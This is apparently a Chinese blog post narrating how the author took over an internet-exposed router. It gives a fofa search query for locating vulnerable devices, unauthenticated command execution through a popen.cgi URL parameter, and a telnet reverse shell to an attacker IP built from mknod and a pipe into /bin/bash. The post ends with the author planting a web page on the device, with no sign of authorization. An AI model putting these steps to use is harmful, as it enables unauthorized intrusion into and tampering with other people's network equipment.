一次路由器Getshell经历

一次路由器Getshell

访问到路由器web页面

fofa搜索:title="index" && header="lighttpd/1.4.30"lighttpd是一个轻量级的服务器中间件

命令注入

发现cgi-bin页面,引发命令注入,这里发现不需要注入,直接执行了命令

https://x.x.x.x:8090/cgi-bin/popen.cgi?command=ls&v=0.1303033443137912

获取信息:

/cgi-bin/popen.cgi?command=uname -a&v=0.1303033443137912,发现一个MIPSLinux系统,显然的嵌入式设备了

/cgi-bin/popen.cgi?command=ls /www&v=0.1303033443137912,发现这个web应用居然是用纯html+js写的,无语了🤣,后续Getshell有点麻烦了

反弹shell

既然可以命令注入,那么首先就是想到反弹shell,这里笔者走了许多弯路

尝试nc反弹shell

执行命令/cgi-bin/popen.cgi?command=nc&v=0.1303033443137912

发现出现了BusyBox字样,笔者此时对其不太了解,先学习一下:

BusyBox-wiki

原来是是嵌入式里的命令行系统软件,相当于一个精简版的Linux shell,其中的nc命令都是被阉割的,于是首先想到能否弄一个完整版的的nc,于是测试是否有yumapt命令,和想的差不多,没有哈哈😒,只有一个wget命令,那么能不能wget一个nc,然后自己编译呢,于是试试,

/cgi-bin/popen.cgi?command=wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz

结果不支持,真无语,以前没搞过嵌入式设备,无奈放弃🤣

柳暗花明-telnet反弹Shell

在查阅路由器如何反弹shell时,无意间看到了这样一句话

好家伙,直接弹弹弹!

  1. 开启telnet:/cgi-bin/popen.cgi?command=telnetd&v=0.1303033443137912

  2. 攻击机上启监听:nc -lvvp

  3. 弹shell:分两次执行

    mknod a p

    telnet x.x.x.x 5555 0<a | /bin/bash 1>a (x.x.x.x为攻击机ip)

监听到了,反弹成功!

第一次拿到路由器系统的说,插个静态网页试试。

当然最后清除了😋